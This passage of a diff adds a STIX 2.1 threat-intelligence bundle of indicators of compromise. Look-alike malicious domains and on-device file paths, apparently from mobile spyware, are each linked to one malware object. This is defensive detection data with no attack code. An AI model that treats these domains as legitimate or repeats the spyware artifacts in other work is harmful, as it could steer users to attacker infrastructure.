"spec_version": "2.1", + "id": "relationship--b05e1c69-b005-4306-9fa6-b27279a42832", + "created": "2026-02-17T19:39:51.971286Z", + "modified": "2026-02-17T19:39:51.971286Z", + "relationship_type": "indicates", + "source_ref": "indicator--8046495c-cc9e-4d85-ab11-d106675c6b46", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--92849523-1e2f-4cb1-b5b6-f570207e7f66", + "created": "2026-02-17T19:39:51.971363Z", + "modified": "2026-02-17T19:39:51.971363Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bit-ly.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.971363Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ce6c04bf-a9d8-4d00-bfc5-6a32d51eeca4", + "created": "2026-02-17T19:39:51.971738Z", + "modified": "2026-02-17T19:39:51.971738Z", + "relationship_type": "indicates", + "source_ref": "indicator--92849523-1e2f-4cb1-b5b6-f570207e7f66", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6afaa055-525f-4878-bb6d-ad0858c3e388", + "created": "2026-02-17T19:39:51.971818Z", + "modified": "2026-02-17T19:39:51.971818Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='prmopromo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.971818Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d275ccff-5909-4303-8ea7-60dcdd8a139e", + "created": "2026-02-17T19:39:51.972128Z", + "modified": "2026-02-17T19:39:51.972128Z", + "relationship_type": "indicates", + "source_ref": "indicator--6afaa055-525f-4878-bb6d-ad0858c3e388", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e46df7b4-d2a3-4cca-aa3f-6a4fbc24d277", + "created": "2026-02-17T19:39:51.972207Z", + "modified": "2026-02-17T19:39:51.972207Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tesla-s.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.972207Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6bad85d5-4cbb-43c6-8f8d-61d83711a262", + "created": "2026-02-17T19:39:51.972554Z", + "modified": "2026-02-17T19:39:51.972554Z", + "relationship_type": "indicates", + "source_ref": "indicator--e46df7b4-d2a3-4cca-aa3f-6a4fbc24d277", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b325080e-60c4-4e84-96dc-d26c59ad4a51", + "created": "2026-02-17T19:39:51.97265Z", + "modified": "2026-02-17T19:39:51.97265Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='simetricode.uk']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.97265Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--350d2ab5-4892-447c-8ae9-edd831f0197b", + "created": "2026-02-17T19:39:51.972976Z", + "modified": "2026-02-17T19:39:51.972976Z", + "relationship_type": "indicates", + "source_ref": "indicator--b325080e-60c4-4e84-96dc-d26c59ad4a51", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb684d2e-fafd-48f0-924b-ea221fd6c688", + "created": "2026-02-17T19:39:51.973058Z", + "modified": "2026-02-17T19:39:51.973058Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mujimbos.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.973058Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--91c4efc4-32b9-4391-a16f-d113e854dbc5", + "created": "2026-02-17T19:39:51.973376Z", + "modified": "2026-02-17T19:39:51.973376Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb684d2e-fafd-48f0-924b-ea221fd6c688", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aa261092-376a-4653-9696-bca5b651f3e2", + "created": "2026-02-17T19:39:51.973455Z", + "modified": "2026-02-17T19:39:51.973455Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='soq.one']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.973455Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cbb8eb9a-f8a2-4015-9dc8-1762ed4b7a49", + "created": "2026-02-17T19:39:51.973772Z", + "modified": "2026-02-17T19:39:51.973772Z", + "relationship_type": "indicates", + "source_ref": "indicator--aa261092-376a-4653-9696-bca5b651f3e2", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--29bc0886-6e92-49fc-920a-6eeda3bb4c59", + "created": "2026-02-17T19:39:51.97385Z", + "modified": "2026-02-17T19:39:51.97385Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tupuca.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.97385Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5409bb08-941b-4dba-972d-a9bd566ccf76", + "created": "2026-02-17T19:39:51.974161Z", + "modified": "2026-02-17T19:39:51.974161Z", + "relationship_type": "indicates", + "source_ref": "indicator--29bc0886-6e92-49fc-920a-6eeda3bb4c59", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--99ecbdc1-2fc7-4e6e-ae3c-8a44be856330", + "created": "2026-02-17T19:39:51.974242Z", + "modified": "2026-02-17T19:39:51.974242Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='suarajubi.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.974242Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ae54c213-9bce-40e3-ae5b-35b04a361ae6", + "created": "2026-02-17T19:39:51.974557Z", + "modified": "2026-02-17T19:39:51.974557Z", + "relationship_type": "indicates", + "source_ref": "indicator--99ecbdc1-2fc7-4e6e-ae3c-8a44be856330", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--83b9468c-ed5c-4ccb-9c41-0e6cb101d8cd", + "created": "2026-02-17T19:39:51.97464Z", + "modified": "2026-02-17T19:39:51.97464Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='breaknews.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.97464Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5a5be7a6-d28c-48ff-8360-a2ed3245815b", + "created": "2026-02-17T19:39:51.974951Z", + "modified": "2026-02-17T19:39:51.974951Z", + "relationship_type": "indicates", + "source_ref": "indicator--83b9468c-ed5c-4ccb-9c41-0e6cb101d8cd", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f8cd8474-e37a-4044-b3da-a71c3bc095c5", + "created": "2026-02-17T19:39:51.975028Z", + "modified": "2026-02-17T19:39:51.975028Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='landingpg.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.975028Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--314635b6-b02b-4dff-9140-4a33a81a4dac", + "created": "2026-02-17T19:39:51.975417Z", + "modified": "2026-02-17T19:39:51.975417Z", + "relationship_type": "indicates", + "source_ref": "indicator--f8cd8474-e37a-4044-b3da-a71c3bc095c5", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--77be2f90-caae-4fbc-85bb-2ecc0df26aba", + "created": "2026-02-17T19:39:51.975496Z", + "modified": "2026-02-17T19:39:51.975496Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='utube.digital']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.975496Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--95fab4dd-4cb2-49f5-b214-7cd69aa56294", + "created": "2026-02-17T19:39:51.975812Z", + "modified": "2026-02-17T19:39:51.975812Z", + "relationship_type": "indicates", + "source_ref": "indicator--77be2f90-caae-4fbc-85bb-2ecc0df26aba", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--43cbba18-465c-4d51-96cd-569c85d3ecf1", + "created": "2026-02-17T19:39:51.97589Z", + "modified": "2026-02-17T19:39:51.97589Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='heiiasjournai.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.97589Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b3f55b36-7006-49eb-befa-731f85b8860d", + "created": "2026-02-17T19:39:51.976207Z", + "modified": "2026-02-17T19:39:51.976207Z", + "relationship_type": "indicates", + "source_ref": "indicator--43cbba18-465c-4d51-96cd-569c85d3ecf1", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7a220972-2ab9-4f37-8a02-27b1916ddd15", + "created": "2026-02-17T19:39:51.976287Z", + "modified": "2026-02-17T19:39:51.976287Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='leefco.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.976287Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--59a92b20-e5f4-4957-83a0-c743eae88fd0", + "created": "2026-02-17T19:39:51.976592Z", + "modified": "2026-02-17T19:39:51.976592Z", + "relationship_type": "indicates", + "source_ref": "indicator--7a220972-2ab9-4f37-8a02-27b1916ddd15", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fc2fa201-6c6e-45aa-b24c-0a58a81e21b5", + "created": "2026-02-17T19:39:51.976673Z", + "modified": "2026-02-17T19:39:51.976673Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='symoty.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.976673Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bdcc26f3-5ecf-4d8b-af17-2725f8fa7084", + "created": "2026-02-17T19:39:51.97698Z", + "modified": "2026-02-17T19:39:51.97698Z", + "relationship_type": "indicates", + "source_ref": "indicator--fc2fa201-6c6e-45aa-b24c-0a58a81e21b5", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--25de42dd-2ce8-424b-a2f5-95df62c60b43", + "created": "2026-02-17T19:39:51.977059Z", + "modified": "2026-02-17T19:39:51.977059Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yuom7.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.977059Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1cf4910b-f593-442c-a639-24ae2f1c9ac8", + "created": "2026-02-17T19:39:51.977368Z", + "modified": "2026-02-17T19:39:51.977368Z", + "relationship_type": "indicates", + "source_ref": "indicator--25de42dd-2ce8-424b-a2f5-95df62c60b43", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--046f140c-f3de-441a-adcd-d73ce0e93361", + "created": "2026-02-17T19:39:51.977446Z", + "modified": "2026-02-17T19:39:51.977446Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youtube.voto']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.977446Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7ace9f6b-aa98-4256-83e5-e0a317274cb2", + "created": "2026-02-17T19:39:51.977753Z", + "modified": "2026-02-17T19:39:51.977753Z", + "relationship_type": "indicates", + "source_ref": "indicator--046f140c-f3de-441a-adcd-d73ce0e93361", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--67086416-9b5a-436a-acce-b5d8c010e7d0", + "created": "2026-02-17T19:39:51.977831Z", + "modified": "2026-02-17T19:39:51.977831Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='efsyn.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.977831Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ce33c2b-d5e9-4cb6-b74c-7811e917c3f5", + "created": "2026-02-17T19:39:51.978123Z", + "modified": "2026-02-17T19:39:51.978123Z", + "relationship_type": "indicates", + "source_ref": "indicator--67086416-9b5a-436a-acce-b5d8c010e7d0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--217dfff6-6d5c-4060-9ca0-9b8acf7d73fb", + "created": "2026-02-17T19:39:51.978197Z", + "modified": "2026-02-17T19:39:51.978197Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='insider.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.978197Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--00766e66-3108-4b1a-812b-398f6776d179", + "created": "2026-02-17T19:39:51.978498Z", + "modified": "2026-02-17T19:39:51.978498Z", + "relationship_type": "indicates", + "source_ref": "indicator--217dfff6-6d5c-4060-9ca0-9b8acf7d73fb", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1b6651e0-c739-444f-ae1c-e3d95b5713d3", + "created": "2026-02-17T19:39:51.978573Z", + "modified": "2026-02-17T19:39:51.978573Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vestinfo.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.978573Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--592bb5b7-b11d-4b22-9c00-12fc2ede5317", + "created": "2026-02-17T19:39:51.978934Z", + "modified": "2026-02-17T19:39:51.978934Z", + "relationship_type": "indicates", + "source_ref": "indicator--1b6651e0-c739-444f-ae1c-e3d95b5713d3", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e2c4ba90-9b57-4992-be76-bdd0692b2053", + "created": "2026-02-17T19:39:51.979011Z", + "modified": "2026-02-17T19:39:51.979011Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dzhabarzan.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.979011Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--276694a9-a06c-4d71-909d-7b4be70e4748", + "created": "2026-02-17T19:39:51.979316Z", + "modified": "2026-02-17T19:39:51.979316Z", + "relationship_type": "indicates", + "source_ref": "indicator--e2c4ba90-9b57-4992-be76-bdd0692b2053", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--945d5e82-6aba-461f-afee-acfea5e7b6d0", + "created": "2026-02-17T19:39:51.979392Z", + "modified": "2026-02-17T19:39:51.979392Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='linkit.digital']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.979392Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d558e6dc-bb3d-4388-92a8-81b199600d90", + "created": "2026-02-17T19:39:51.979692Z", + "modified": "2026-02-17T19:39:51.979692Z", + "relationship_type": "indicates", + "source_ref": "indicator--945d5e82-6aba-461f-afee-acfea5e7b6d0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1210a996-2621-4796-a41c-6859eec23699", + "created": "2026-02-17T19:39:51.97977Z", + "modified": "2026-02-17T19:39:51.97977Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/tmp/l/']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.97977Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2e22aedd-ad7c-47a4-994f-4875f42a361f", + "created": "2026-02-17T19:39:51.980445Z", + "modified": "2026-02-17T19:39:51.980445Z", + "relationship_type": "indicates", + "source_ref": "indicator--1210a996-2621-4796-a41c-6859eec23699", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa70ea8d-d2e1-4521-b865-305af3bc0b5d", + "created": "2026-02-17T19:39:51.980526Z", + "modified": "2026-02-17T19:39:51.980526Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/tmp/kusama.txt']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.980526Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fa3fd13c-82dc-425d-8431-a78043448a79", + "created": "2026-02-17T19:39:51.980833Z", + "modified": "2026-02-17T19:39:51.980833Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa70ea8d-d2e1-4521-b865-305af3bc0b5d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--afd2917f-d667-4503-b512-43386aa7d5ac", + "created": "2026-02-17T19:39:51.980909Z", + "modified": "2026-02-17T19:39:51.980909Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/tmp/hooker']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.980909Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f249b43-f3ff-4072-929e-42e0986db307", + "created": "2026-02-17T19:39:51.981208Z", + "modified": "2026-02-17T19:39:51.981208Z", + "relationship_type": "indicates", + "source_ref": "indicator--afd2917f-d667-4503-b512-43386aa7d5ac", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f4ad1173-cf26-4d8f-97ad-bbddad878421", + "created": "2026-02-17T19:39:51.981283Z", + "modified": "2026-02-17T19:39:51.981283Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/data/local/tmp/wd/fs.db']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.981283Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75d4c707-509c-46da-bada-53ae7a8bd1b9", + "created": "2026-02-17T19:39:51.981585Z", + "modified": "2026-02-17T19:39:51.981585Z", + "relationship_type": "indicates", + "source_ref": "indicator--f4ad1173-cf26-4d8f-97ad-bbddad878421", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b112e1e7-21f8-42bd-9ca7-c42d80355a22", + "created": "2026-02-17T19:39:51.98166Z", + "modified": "2026-02-17T19:39:51.98166Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/tmp/helper.sock']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.98166Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4cde356e-0448-4d37-856a-6650f1141edc", + "created": "2026-02-17T19:39:51.981974Z", + "modified": "2026-02-17T19:39:51.981974Z", + "relationship_type": "indicates", + "source_ref": "indicator--b112e1e7-21f8-42bd-9ca7-c42d80355a22", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1a07f743-4436-4515-a633-17761944630d", + "created": "2026-02-17T19:39:51.982052Z", + "modified": "2026-02-17T19:39:51.982052Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/tmp/com.apple.WebKit.Networking']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.982052Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8106816c-64ee-4f75-938f-91a66418bda3", + "created": "2026-02-17T19:39:51.982494Z", + "modified": "2026-02-17T19:39:51.982494Z", + "relationship_type": "indicates", + "source_ref": "indicator--1a07f743-4436-4515-a633-17761944630d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9a952fb1-fd54-43b2-a08a-4cdb07bd2114", + "created": "2026-02-17T19:39:51.982574Z", + "modified": "2026-02-17T19:39:51.982574Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/tmp/l/']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.982574Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7371ca6b-d1d7-448d-b199-b4d45023e769", + "created": "2026-02-17T19:39:51.982954Z", + "modified": "2026-02-17T19:39:51.982954Z", + "relationship_type": "indicates", + "source_ref": "indicator--9a952fb1-fd54-43b2-a08a-4cdb07bd2114", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1d0e3f50-93db-4a41-a5d1-fc94b381bf29", + "created": "2026-02-17T19:39:51.983034Z", + "modified": "2026-02-17T19:39:51.983034Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/tmp/etherium.txt']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.983034Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5c18b91f-d734-4b12-b54a-3cfea0bb19da", + "created": "2026-02-17T19:39:51.983338Z", + "modified": "2026-02-17T19:39:51.983338Z", + "relationship_type": "indicates", + "source_ref": "indicator--1d0e3f50-93db-4a41-a5d1-fc94b381bf29", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--47fbb4b1-b5de-4f0e-a620-c84098257c4e", + "created": "2026-02-17T19:39:51.983413Z", + "modified": "2026-02-17T19:39:51.983413Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/data/local/tmp/wd/pred.so']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.983413Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d0f84641-fc00-46d6-898b-287711525107", + "created": "2026-02-17T19:39:51.983723Z", + "modified": "2026-02-17T19:39:51.983723Z", + "relationship_type": "indicates", + "source_ref": "indicator--47fbb4b1-b5de-4f0e-a620-c84098257c4e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d9ad881d-7106-40d5-90aa-449fa268a250", + "created": "2026-02-17T19:39:51.983799Z", + "modified": "2026-02-17T19:39:51.983799Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/tmp/kusama.txt']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.983799Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1ce45e18-5432-4e23-8207-275201cf6ebf", + "created": "2026-02-17T19:39:51.984112Z", + "modified": "2026-02-17T19:39:51.984112Z", + "relationship_type": "indicates", + "source_ref": "indicator--d9ad881d-7106-40d5-90aa-449fa268a250", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9b4a0c8e-70c8-4149-90e9-da322edbfa5e", + "created": "2026-02-17T19:39:51.984191Z", + "modified": "2026-02-17T19:39:51.984191Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/tmp/UserEventAgent']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.984191Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--618820a3-f5f9-43af-8dcf-a32d73043b79", + "created": "2026-02-17T19:39:51.984603Z", + "modified": "2026-02-17T19:39:51.984603Z", + "relationship_type": "indicates", + "source_ref": "indicator--9b4a0c8e-70c8-4149-90e9-da322edbfa5e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9a37a012-e9f0-47bc-9729-2e9bed098436", + "created": "2026-02-17T19:39:51.98468Z", + "modified": "2026-02-17T19:39:51.98468Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/logs/keybagd/']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.98468Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--27d79f3e-6634-42ee-89fc-160100ca2f55", + "created": "2026-02-17T19:39:51.984991Z", + "modified": "2026-02-17T19:39:51.984991Z", + "relationship_type": "indicates", + "source_ref": "indicator--9a37a012-e9f0-47bc-9729-2e9bed098436", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--77cb60e8-8351-4a72-92bb-2a9e48241b8e", + "created": "2026-02-17T19:39:51.985073Z", + "modified": "2026-02-17T19:39:51.985073Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/tmp/etherium.txt']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.985073Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7ff68a68-62d0-4a55-951c-80a682ab69aa", + "created": "2026-02-17T19:39:51.985389Z", + "modified": "2026-02-17T19:39:51.985389Z", + "relationship_type": "indicates", + "source_ref": "indicator--77cb60e8-8351-4a72-92bb-2a9e48241b8e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d5295d56-4df3-4c9a-b779-305b10499ef0", + "created": "2026-02-17T19:39:51.985469Z", + "modified": "2026-02-17T19:39:51.985469Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/data/local/tmp/wd/']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.985469Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--55b2cdf2-7093-48e7-a6f3-5b26eee235f7", + "created": "2026-02-17T19:39:51.98578Z", + "modified": "2026-02-17T19:39:51.98578Z", + "relationship_type": "indicates", + "source_ref": "indicator--d5295d56-4df3-4c9a-b779-305b10499ef0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3108de59-fe1e-4389-a3fb-fda940b09559", + "created": "2026-02-17T19:39:51.985859Z", + "modified": "2026-02-17T19:39:51.985859Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:path='/private/var/tmp/takePhoto']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.985859Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c73eadbc-b134-4f45-8a04-ff44462f55b6", + "created": "2026-02-17T19:39:51.986214Z", + "modified": "2026-02-17T19:39:51.986214Z", + "relationship_type": "indicates", + "source_ref": "indicator--3108de59-fe1e-4389-a3fb-fda940b09559", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a6bec5dc-d0d4-497d-ad2c-601e8b672219", + "created": "2026-02-17T19:39:51.986294Z", + "modified": "2026-02-17T19:39:51.986294Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[configuration-profile:id='76DAB334-7E17-475D-A5D6-0794EB5818A5']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.986294Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8cc5641f-48de-4892-bb73-c780c0f90521", + "created": "2026-02-17T19:39:51.987147Z", + "modified": 